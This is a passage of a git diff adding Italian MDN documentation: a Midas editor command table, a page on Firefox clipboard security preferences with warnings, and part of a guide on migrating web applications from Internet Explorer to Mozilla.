+ <dd>Determines whether the given command has been executed on the current selection.</dd>
+ <dt>{{domxref("Document.queryCommandValue")}}</dt>
+ <dd>Determines the current value of the document, range, or current selection for the given command.</dd>
+</dl>
+
+<h2 id="Supported_Commands" name="Supported_Commands">Supported Commands</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Command</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>backcolor</td>
+   <td>A color code.</td>
+   <td>This command will set the background color of the document.</td>
+  </tr>
+  <tr>
+   <td>bold</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set bold for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>contentReadOnly</td>
+   <td> </td>
+   <td>This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the web page.</td>
+  </tr>
+  <tr>
+   <td>copy</td>
+   <td> </td>
+   <td>If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen.
+    <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>createlink</td>
+   <td>A URI.</td>
+   <td>This command will not do anything if no selection is made. If there is a selection, a link will be inserted around the selection with the url parameter as the href of the link.</td>
+  </tr>
+  <tr>
+   <td>cut</td>
+   <td> </td>
+   <td>If there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. If there isn't a selection, nothing will happen.
+    <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-X) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>decreasefontsize</td>
+   <td> </td>
+   <td>This command will add a &lt;small&gt; tag around selection or at insertion point.</td>
+  </tr>
+  <tr>
+   <td>delete</td>
+   <td> </td>
+   <td>This command will delete all text and objects that are selected. If no text is selected it deletes one character to the right. This is similar to the <em>Delete</em> button on the keyboard.</td>
+  </tr>
+  <tr>
+   <td>fontname</td>
+   <td>A font name</td>
+   <td>This command will set the font face for a selection or at the insertion point if there is no selection.
+    <p>The given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>fontsize</td>
+   <td>A number</td>
+   <td>This command will set the fontsize for a selection or at the insertion point if there is no selection.
+    <p>The given number is such as would be used in the "size" attribute of the font tag.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>forecolor</td>
+   <td>A color code</td>
+   <td>This command will set the text color of the selection or at the insertion point.</td>
+  </tr>
+  <tr>
+   <td>formatblock</td>
+   <td>H1, H2, H3, H4, H5, H6, P, DIV, ADDRESS, BLOCKQUOTE (more?)</td>
+   <td>The selection surrounded by the given block element.</td>
+  </tr>
+  <tr>
+   <td>heading</td>
+   <td>H1, H2, H3, H4, H5, H6</td>
+   <td>Selected block will be formatted as the given type of heading.</td>
+  </tr>
+  <tr>
+   <td>hilitecolor</td>
+   <td>A color code</td>
+   <td>This command will set the hilite color of the selection or at the insertion point. It only works with styleWithCSS enabled.</td>
+  </tr>
+  <tr>
+   <td>increasefontsize</td>
+   <td> </td>
+   <td>This command will add a &lt;big&gt; tag around selection or at insertion point.</td>
+  </tr>
+  <tr>
+   <td>indent</td>
+   <td> </td>
+   <td>Indent the block where the caret is located. If the caret is inside a list, that item becomes a sub-item one level deeper.</td>
+  </tr>
+  <tr>
+   <td>insertbronreturn</td>
+   <td>true/false</td>
+   <td>Selects whether pressing return inside a paragraph creates another paragraph or just inserts a &lt;br&gt; tag.</td>
+  </tr>
+  <tr>
+   <td>inserthorizontalrule</td>
+   <td>null/string (when string is the Line's id)</td>
+   <td>This command will insert a horizontal rule (line) at the insertion point.
+    <p>Does it delete the selection? Yes!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>inserthtml</td>
+   <td>A string.</td>
+   <td>This command will insert the given html into the &lt;body&gt; in place of the current selection or at the caret location.
+    <p>The given string is the HTML to insert.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>insertimage</td>
+   <td>A URI.</td>
+   <td>This command will insert an image (referenced by the given url) at the insertion point.</td>
+  </tr>
+  <tr>
+   <td>insertorderedlist</td>
+   <td> </td>
+   <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and an OL. If the caret is inside a bulleted item, the bulleted item becomes a numbered item.</td>
+  </tr>
+  <tr>
+   <td>insertunorderedlist</td>
+   <td> </td>
+   <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and UL. If the caret is inside a numbered item, the numbered item becomes a bulleted item.</td>
+  </tr>
+  <tr>
+   <td>insertparagraph</td>
+   <td> </td>
+   <td>Inserts a new paragraph.</td>
+  </tr>
+  <tr>
+   <td>italic</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set italic for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already italic, the italic will be removed. Otherwise, all selected characters will become italic.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>justifycenter</td>
+   <td> </td>
+   <td>Center-aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyfull</td>
+   <td> </td>
+   <td>Fully-justifies the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyleft</td>
+   <td> </td>
+   <td>Left-aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyright</td>
+   <td> </td>
+   <td>Right aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>outdent</td>
+   <td> </td>
+   <td>Outdent the block where the caret is located. If the block is not indented prior to calling outdent, nothing will happen.
+    <p>If the caret is in a list item, the item will bump up a level in the list or break out of the list entirely.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>paste</td>
+   <td> </td>
+   <td>This command will paste the contents of the clipboard at the location of the caret. If there is a selection, it will be deleted prior to the insertion of the clipboard's contents.
+    <p>note: this command won't work without setting a pref or using signed JS. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-V) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>redo</td>
+   <td> </td>
+   <td>This command will redo the previous undo action. If undo was not the most recent action, this command will have no effect.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-shift-Z)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>removeformat</td>
+   <td> </td>
+   <td>Removes inline formatting from the current selection.</td>
+  </tr>
+  <tr>
+   <td>selectall</td>
+   <td> </td>
+   <td>This command will select all of the contents within the editable area.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-A)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>strikethrough</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set strikethrough for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already striked, the strikethrough will be removed. Otherwise, all selected characters will have a line drawn through them.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>styleWithCSS</td>
+   <td> </td>
+   <td>This command is used for toggling the format of generated content. By default (at least today), this is true. An example of the differences is that the "bold" command will generate &lt;b&gt; if the styleWithCSS command is false and generate css style attribute if the styleWithCSS command is true.</td>
+  </tr>
+  <tr>
+   <td>subscript</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set subscript for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already subscripted, the subscript will be removed. Otherwise, all selected characters will be drawn slightly lower than normal text.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>superscript</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set superscript for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already superscripted, the superscript will be removed. Otherwise, all selected characters will be drawn slightly higher than normal text.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>underline</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set underline for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already underlined, the underline will be removed. Otherwise, all selected characters will become underlined.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>undo</td>
+   <td> </td>
+   <td>This command will undo the previous action. If no action has occurred in the document, then this command will have no effect.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-Z)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>unlink</td>
+   <td> </td>
+   <td>If the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain.</td>
+  </tr>
+  <tr>
+   <td colspan="3">{{Deprecated_header}}</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td> </td>
+   <td>This command has been replaced with contentReadOnly. It takes the same values as contentReadOnly, but the meaning of true and false are inversed.</td>
+  </tr>
+  <tr>
+   <td>useCSS</td>
+   <td> </td>
+   <td>This command has been replaced with styleWithCSS. It takes the same values as styleWithCSS, but the meaning of true and false are inversed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/it/midas/security_preferences/index.html b/files/it/midas/security_preferences/index.html
new file mode 100644
index 0000000000..c3962fce60
--- /dev/null
+++ b/files/it/midas/security_preferences/index.html
@@ -0,0 +1,73 @@
+---
+title: 'Midas editor, cambiare le impostazioni di sicurezza'
+slug: Midas/Security_preferences
+tags:
+  - Firefox
+  - Gecko
+  - Midas
+  - Non-standard
+  - Sicurezza
+  - editor
+translation_of: Mozilla/Projects/Midas/Security_preferences
+---
+<div class="note">
+<p><strong>Nota:</strong> Se hai raggiunto questa pagina da un messaggio di Firefox oppure da un altro prodotto Mozilla, prova ad utilizzare gli shortcut da tastiera : taglia,copia ed incolla :</p>
+
+<ul>
+ <li>Copia : Ctrl+C or Ctrl+Insert (command+C sul Mac)</li>
+ <li>Incolla : Ctrl+V or Shift+Insert (command+V sul Mac)</li>
+ <li>Taglia : Ctrl+X or Shift+Delete (command+X sul Mac)</li>
+</ul>
+
+<p>Il resto delle informazioni presenti in questa pagina sono per sviluppatori web ed utenti esperti. Per favore non tentare di modificare questa pagina</p>
+</div>
+
+<p>Per proteggere la privacy degli utenti, gli scripts non autorizzati non possono invocare taglia, copia ed incolla in Midas, il text editor di Mozilla. Questo significa che i pulsanti corrispondenti in <a href="http://www-archive.mozilla.org/editor/midasdemo/" title="http://www-
+archive.mozilla.org/editor/midasdemo/">Mozilla Rich Text Editing demo page</a> non funzioneranno. Per abilitare queste funzioni, devi modificare le preferenze del tuo browser.</p>
+
+<div class="warning">
+<p><strong>Attenzione :</strong> Cambiando queste impostazioni, il tuo browser diventa vulnerabile, soprattutto se fornisci permessi a siti poco sicuri. Cambia questi settaggi solo se hai bisogno di testare il demo sopra oppure per testare un tuo addon per Firefox. Assicurati di ripristinare questi settaggi quando hai concluso</p>
+</div>
+
+<h2 id="Cambiare_le_preferenze_in_Firefox">Cambiare le preferenze in Firefox</h2>
+
+<ol>
+ <li>Chiudi Firefox. Se hai il quick launch attivo (su Windows è un icona nella toolbar), chiudi anche quella.</li>
+ <li><a class="external" href="http://support.mozilla.com/en-US/kb/Profiles">Cerca la directory contenente il tuo profilo Firefox</a></li>
+ <li>Apri il file <code class="filename">user.js</code> presente nella cartella in un text editor. Se il file <code>user.js</code> non è presente, creane uno.</li>
+ <li>Aggiungi queste righe al file <code class="filename">user.js</code>:
+  <pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
+</pre>
+ </li>
+ <li>Modifica l' URL <span class="external"><code class="url">https://www.mozilla.org</code></span> con il sito verso cui vuoi abilitare questa funzione.</li>
+ <li>Salva il file e apri Firefox. I bottoni della Clipboard nel demo, o bottoni simili nel sito da te indicato, ora dovrebbero funzionare.</li>
+</ol>
+
+<div class="note"><strong>Nota:</strong> E' preferibile un sito come da protocollo specifico.. Esempio:
+
+<pre>user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org")
+</pre>
+
+<p>non è uguale a :</p>
+
+<pre>user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org")
+</pre>
+
+<p>Questo perchè il primo esempio usa <a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">HTTP</a> mentre il secondo usa HTTPS.</p>
+Se vuoi consentire a multipli url di accere alla funzione "Incolla", separa gli URLs con uno spazio. Esempio :
+
+<pre>user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org https://developer.mozilla.org")
+</pre>
+</div>
+
+<p>Ancora, non dimenticare i rischi per la sicurezza a cui incorri e assicurati alla conclusione, di aver rimosso i permessi di accesso .</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li id="For_more_information_about_security_policies.2C_see_this_article_about_Configurable_Security_Policies.">Per maggiori informazioni riguardo le regole sulla sicurezza, leggi questo articolo <a href="http://www.mozilla.org/projects/security/components/ConfigPolicy.html" title="http://www.mozilla.org/projects/security/components/ConfigPolicy.html">Regole sulla sicurezza configurabili</a>.</li>
+ <li><a href="/en-US/docs/Web/Security/CSP">CSP</a> e <a href="/en-US/docs/Web/Security/CSP/CSP_policy_directives">Politica sulle direttive</a>.</li>
+</ul>
diff --git a/files/it/migrare_applicazioni_da_internet_explorer_a_mozilla/index.html b/files/it/migrare_applicazioni_da_internet_explorer_a_mozilla/index.html
new file mode 100644
index 0000000000..83afe5e679
--- /dev/null
+++ b/files/it/migrare_applicazioni_da_internet_explorer_a_mozilla/index.html
@@ -0,0 +1,1268 @@
+---
+title: Migrare applicazioni da Internet Explorer a Mozilla
+slug: Migrare_applicazioni_da_Internet_Explorer_a_Mozilla
+tags:
+  - Da_unire
+  - Standard_Web
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Archive/Mozilla/Migrate_apps_from_Internet_Explorer_to_Mozilla
+---
+<p> </p>
+
+<h3 id="Introduzione" name="Introduzione">Introduzione</h3>
+
+<p>Quando Netscape diede il via al browser Mozilla, prese la decisione conscia di supportare gli standard W3C. Come risultato, Mozilla non è pienamente retrocompatibile con il vecchio codice di Netscape Navigator e Microsoft Internet Explorer; ad esempio, Mozilla non supporta <code>&lt;layer&gt;</code> come discuteremo in seguito. I browser, come Internet Explorer 4, realizzati prima della concezione degli standard W3C hanno ereditato molti comportamenti anomali (quirks). In questo articolo, descriveremo il quirks mode di Mozilla, che fornisce una forte retrocompatibiltà HTML con Internet Explorer ed altri browser datati.</p>
+
+<p>Verranno considerate anche tecnologie non standard, come XMLHttpRequest ed il rich text editing, supportati da Mozilla perche' non esistevano all'epoca equivalenti del W3C. Esse includono:</p>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a>, <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a> e<a class="external" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a></li>
+ <li>Fogli di stile (CSS): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Level 1</a>, <a class="external" href="http://www.w3.org/TR/CSS21/">CSS Level 2.1</a> e parti del <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Level 3</a></li>
+ <li>Document Object Model (DOM): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Level 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Level 2</a> e parti di <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Level 3</a></li>
+ <li>Mathematical Markup Language: <a class="external" href="http://www.w3.org/Math/">MathML Version 2.0</a></li>
+ <li>Extensible Markup Language (XML): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Namespaces in XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Associating Style Sheets with XML Documents 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJ%20un/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>XSL Transformations: <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>XML Path Language: <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework: <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol: <a class="external" href="http://www.w3.org/TR/soap">SOAP 1.1</a></li>
+ <li>ECMA-262, revision 3 (JavaScript 1.5): <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+
+<h3 id="Consigli_generali_di_programmazione_cross-browser" name="Consigli_generali_di_programmazione_cross-browser">Consigli generali di programmazione cross-browser</h3>
+
+<p>Anzhe se esistono gli standard Web, browser differenti si comportano in maniera differente (infatti, lo stesso browser potrebbe agire in modi diversi in base alla piattaforma). Molti browser, come Internet Explorer, supportano inoltre API precedenti a quelle definite dal W3C, e non hanno mai aggiunto un suporto estensivo per quelle definite dal W3C stesso.</p>
+
+<p>Prima di entrare nello specifico delle differenze tra Mozilla ed Internet Explorer, verranno introdotti alcuni metodi base per rendere una applicazione Web estensibile in modo da aggiungere in un secondo momento il supporto per nuovi browser.</p>
+
+<p>Poiché browser differenti a volte usano API differenti per le stesse funzionalità, di solito si trovano molti blocchi <code>if() else()</code> all'interno del codice per stabilire la differenza tra i vari browser. Il codice seguente mostra blocchi disegnati per Internet Explorer:</p>
+
+<pre>. . .
+
+var elm;
+
+if (ns4)
+  elm = document.layers["myID"];
+else if (ie4)
+  elm = document.all["myID"]
+</pre>
+
+<p>Il codice appena visto non è estensibile, perciò se si vuole supportare un nuovo browser, bisogna necessariamente aggiornare questi blocchi all'interno dell'applicazione Web.</p>
+
+<p>Il modo più semplice per eliminare il bisogno di riprogrammare per un nuovo browser è asttrarre le funzionalità. Piuttosto di molteplici blocchi <code>if() else()</code>, è possibile aumentare l'efficienza prendendo le azioni comuni e ed astraendole dalle proprie funzioni. Non solo questeo rende il codice più facile da leggere, semplifica l'aggiunta del supporto per nuovi client:</p>
+
+<pre>var elm = getElmById("myID");
+
+function getElmById(aID){
+  var element = null;
+
+  if (isMozilla || isIE5)
+    element = document.getElementById(aID);
+  else if (isNetscape4)
+    element = document.layers[aID];
+  else if (isIE4)
+    element = document.all[aID];
+
+  return element;
+}
+</pre>
+
+<p>Il codice soprastante ha ancora il problema del <em>browser sniffing</em>, o le rilevazione del browser che l'utente sta usando. Il browser sniffing viene solitamente eseguito attraverso lo useragent, come ad esempio:</p>
+
+<pre>Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031016
+</pre>
+
+<p>Mentre l'uso dell'useragent per rilevare il browser fornisce dettagliate informazioni sul browser in uso, il codice che gestisce gli useragent è soggetto ad errori nel momento in cui arrivano nuove versioni di un browser, il che richiede un cambiamento nel codice.</p>
+
+<p>Se il tipo di browser non è importante (supponiamo siano stati già bloccati i browser non supportati dall'accesso all'applicazione Web), <strong>è molto meglio e più sicuro rilevare le funzionalità del browser o il supporto di caratteristiche degli oggetti</strong>. Solitamenre è possibile fare questo testando le funzionalità richieste in JavaScript. Ad esempio, piuttosto che:</p>
+
+<pre>if (isMozilla || isIE5)
+</pre>
+
+<p>Si preferisce usare:</p>
+
+<pre>if (document.getElementById)
+</pre>
+
+<p>Questo potrebbe permettere ad altri browser che supportano i metodi standard del W3C, come Opera o Safari, di funzionare senza altri cambiamenti.</p>
+
+<p>Lo sniffing dello useragent, in ogni caso, ha senso quando è importante l'accuratezza, ad esempio quando si sta verificando che un browser venga incontro ai requisiti di versione dell'applicazione Web o si sta provando ad evitare un bug.</p>
+
+<p>JavaScript permette inoltre l'uso di statement condizionali abbreviati, il che può semplificare la leggibilità del codice:</p>
+
+<pre> var foo = (condition) ? conditionIsTrue : conditionIsFalse;
+</pre>
+
+<p>Ad esempio, per ottenere un elemento, è possibile usare:</p>
+
+<pre> function getElement(aID){
+   return (document.getElementById) ? document.getElementById(aID)
+                                    : document.all[aID]);
+ }
+</pre>
+
+<p>Oppure un'altra maniera è l'uso dell'operatore <code>||</code>:</p>
+
+<pre> function getElement(aID){
+   return (document.getElementById(aID)) || document.all[aID]);
+ }
+</pre>
+
+<p> </p>
+
+<h3 id="Differenze_tra_Mozilla_e_Internet_Explorer" name="Differenze_tra_Mozilla_e_Internet_Explorer">Differenze tra Mozilla e Internet Explorer</h3>
+
+<p>Anzitutto, discuteremo le differenze nel modo in cui HTML lavora tra Mozilla ed Internet Explorer.</p>
+
+<p> </p>
+
+<h4 id="Tooltip" name="Tooltip">Tooltip</h4>
+
+<p>I browser più datati hanno introdotto i tooltip in HTML mostrandoli sui link ed usando il valore dell'attributo <code>alt</code> come contenuto del tooltip. Le ultile specifice del W3C hanno dato vita all'attributo <code>title</code>, che serve per contenere una dettagliata descrizione del link. I browser moderni useranno l'attributo <code>title</code> per mostrare i tooltip, e Mozilla supporta solo la visualizzazione dei tooltip per questo attributo e non per <code>alt</code>.</p>
+
+<h4 id="Entit.C3.A0" name="Entit.C3.A0">Entità</h4>
+
+<p>Il marcatore HTML può contenere molte entità, come definito dal <a class="external" href="http://www.w3.org/TR/REC-html40/sgml/entities.html">W3C web standards body</a>. Le entità possono essere riferite attraverso il loro riferimento numerico o a caratteri. Ad esempio, è possibile riferire il carattere di spazio bianco #160 con <code>&amp;#160;</code>, o con il suo equivalente riferimento a caratteri <code>&amp;nbsp;</code>.</p>
+
+<p>Alcuni browser più vecchi, come Internet Explorer, hanno comportamenti strani che permettono l'uso di entità sostituendo il carattere <code>;</code> (punto e virgola) alla fine con del testo normale:</p>
+
+<pre>&amp;nbsp Foo
+&amp;nbsp&amp;nbsp Foo
+</pre>
+
+<p>Mozilla interpreterà il precedente <code>&amp;nbsp</code> con spazi bianchi, anche se contro le specifiche W3C. Il browser non effettuerà il parsing di un <code>&amp;nbsp</code> se è direttamente seguito da più caratteri, come ad esempio:</p>
+
+<pre>&amp;nbsp12345
+</pre>
+
+<p>Questo codice non funziona in Mozilla, poiché contro gli standard web del W3C. Per evitare discrepanze, è buona norma usare sempre la forma corretta (<code>&amp;nbsp;</code>).</p>
+
+<h3 id="Differenze_del_DOM" name="Differenze_del_DOM">Differenze del DOM</h3>
+
+<p>Il Document Object Model (DOM) è la '<em>struttura ad albero che contiene gli elemendi del documento</em>. Si può manipolarlo tramite le API JavaScript, che il W3C ha reso standard. In ogni caso, prima della standardizzazione del W3c, Netscape 4 ed Internet Explorer 4 implementavano delle API simili. Mozilla implementa solo le vecchie API che non sono riprodotte dagli standard W3C</p>
+
+<p> </p>
+
+<h4 id="Accedere_agli_elementi" name="Accedere_agli_elementi">Accedere agli elementi</h4>
+
+<p>Per ottenere un riferimento ad un elemento usando l'approccio cross-browser, si utilizza <code>document.getElementById(aID)</code>, che funziona in Internet Explorer 5.0 e superiori, nei browser basati su Mozilla, altri browser che si attengono allo standard W3C ed è parte delle specifiche DOM Level 1.</p>
+
+<p>Mozilla non supporta l'accesso agli elementi attraverso <code>document.elementName</code> o anche tramite il nome dell'elemento, come accade in Internet Explorer (una pratica chiamata anche <em>inquinamento globale dei namspace</em>). Mozilla inoltre non supporta il metodo <code>document.layers</code> di Netscape 4 né il <code>document.all</code> di Internet Explorer. Mentre <code>document.getElementById</code> permette di ottenere un elemento, si possono usare <code>document.layers</code> e <code>document.all</code> per avere una lista di tutti gli elementi del documento con un certo tag, come ad esempio tutti gli elementi <code>&lt;div&gt;</code>.</p>
+
+<p>I metodi del DOM Level 1 del W3c fanno riferimento a tutti gli elementi con lo stesso tag attraverso <code>getElementsByTagName()</code>. Il metodo ritorna un array in JavaScript, e può essere chiamato sull'elemento <code>document</code> o altri nodi per cercare solo un il loro sottoalbero. Per ottenenere un array di elementi nell'albero DOM, è possibile usare <code>getElementsByTagName("*")</code>.</p>
+
+<p>Come mostrato nella Tabella 1, i metodi del DOM Level1 sono comunemente usati per muovere un elemento da una certa posizione e cambiare la sua visibilità (menu, animazioni). Netscape 4 usava il tag <code>&lt;layer&gt;</code>, che non è supportato da Mozilla, dato che un elemento HTML può essere posizionato ovunque. In Mozilla, è possibile posizionare ogni elemento usando il tag <code>&lt;div&gt;</code>, che usa anche Internet Esplorer e che si trova nella specifica di HTML.</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <caption>Tabella 1. Metodi usati per accedere agli elementi</caption>
+ <tbody>
+  <tr>
+   <th>Metodo</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>document.getElementById( aId )</td>
+   <td>Ritorna un riferimento all'elemento con l'ID specificato.</td>
+  </tr>
+  <tr>
+   <td>document.getElementsByTagName( aTagName )</td>
+   <td>Ritorna un array di elementi avebti il nome specifico nel documento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Attraversare_il_DOM" name="Attraversare_il_DOM">Attraversare il DOM</h4>
+
+<p>Mozilla supporta le API DOM W3C per attraversare l'albero DOM tramite JavaScript (vedi Tabella 2). Le API esistono per ogni nodo nel documento e permettono di esplorare l'albero in ogni direzione. Anche Internet Explorer supporta queste API, ma support anche le sue vecchie API per per l'esplorazione dell'albero DOM, come la proprietà <code>children</code></p>
+
+<table class="standard-table">
+ <caption>Tabella 2. Metodi usati per attraversare il DOM</caption>
+ <tbody>
+  <tr>
+   <th>Proprietà/Metodo</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>childNodes</td>
+   <td>Ritorna un array di tutti i nodi figli child dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>firstChild</td>
+   <td>Ritorna il primo nodo figlio dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>getAttribute( aAttributeName )</td>
+   <td>Ritorna il valore per l'attributo specifico.</td>
+  </tr>
+  <tr>
+   <td>hasAttribute( aAttributeName )</td>
+   <td>Ritorna un valore booleano indicante se il nodo corrente ha un attributo definito con il nome specifico.</td>
+  </tr>
+  <tr>
+   <td>hasChildNodes()</td>
+   <td>Ritorna un valore booleano se il nodo corrente ha nodi figli.</td>
+  </tr>
+  <tr>
+   <td>lastChild</td>
+   <td>Ritorna l'ultimo nodo figlio dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>nextSibling</td>
+   <td>Ritorna il nodo immediatamente seguente a quello considerato.</td>
+  </tr>
+  <tr>
+   <td>nodeName</td>
+   <td>Ritorna il nome del nodo in forma di stringa.</td>
+  </tr>
+  <tr>
+   <td>nodeType</td>
+   <td>Ritorna il tipo del nodo corrente.
+    <table>
+     <tbody>
+      <tr>
+       <th>Valore</th>
+       <th>Descrizione</th>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>Nodo Element</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>Nodo Attribute</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>Nodo Text</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>Nodo Sezione CDATA</td>
+      </tr>
+      <tr>
+       <td>5</td>
+       <td>Nodo Entity Reference</td>
+      </tr>
+      <tr>
+       <td>6</td>
+       <td>Nodo Entity</td>
+      </tr>
+      <tr>
+       <td>7</td>
+       <td>Nodo Processing Instruction</td>
+      </tr>
+      <tr>
+       <td>8</td>
+       <td>Nodo Comment</td>
+      </tr>
+      <tr>
+       <td>9</td>
+       <td>Nodo Document</td>
+      </tr>
+      <tr>
+       <td>10</td>
+       <td>Nodo Document Type</td>
+      </tr>
+      <tr>
+       <td>11</td>
+       <td>Nodo Document Fragment</td>
+      </tr>
+      <tr>
+       <td>12</td>
+       <td>Nodo Notation</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>nodeValue</td>
+   <td>Ritorna il valore del nodo corrente. Per nodi che contengono testo, ad esempio nodi text e comment, ritorna il loro valore in stringa. Per nodi attribute, viene ritornato il valore dell'attributo. Per tutti gli altri nodi, viene ritornato <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>ownerDocument</td>
+   <td>Ritorna l'oggetto <code>document</code> contenente il nodo corrente.</td>
+  </tr>
+  <tr>
+   <td>parentNode</td>
+   <td>Ritorna il nodo padre del nodo corrente.</td>
+  </tr>
+  <tr>
+   <td>previousSibling</td>
+   <td>Ritorna il nodo immediatamente precedente a quello corrente.</td>
+  </tr>
+  <tr>
+   <td>removeAttribute( aName )</td>
+   <td>Rimuove l'attributo specificato dal nodo corrente.</td>
+  </tr>
+  <tr>
+   <td>setAttribute( aName, aValue )</td>
+   <td>Setta il valore dell'attributo specificato con il valore specificato.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Internet Explorer ha un comportamento non standard, dove molte delle API vanno ad evitare i nodi di spazi bianchi che sono generati, ad esempio, da caratteri di ritorno a capo. Mozilla non li evita, per questo alcune volte si ha bisogno di distinguere questi nodi. Ogni nodo ha una propietà <code>nodeType</code> che specifica il tipo di nodo. Ad esempio, un nodo element ha tipo 1, mentre un nodo text ha tipo 3 ed un nodo comment è di tipo 8. Il modo migliore per processare solo i nodi elemento è iterare su tutti i nodi figli e processare solo quelli con un nodeType di 1:</p>
+
+<p> </p>
+
+<pre>HTML:
+  &lt;div id="foo"&gt;
+    &lt;span&gt;Test&lt;/span&gt;
+  &lt;/div&gt;
+
+JavaScript:
+  var myDiv = document.getElementById("foo");
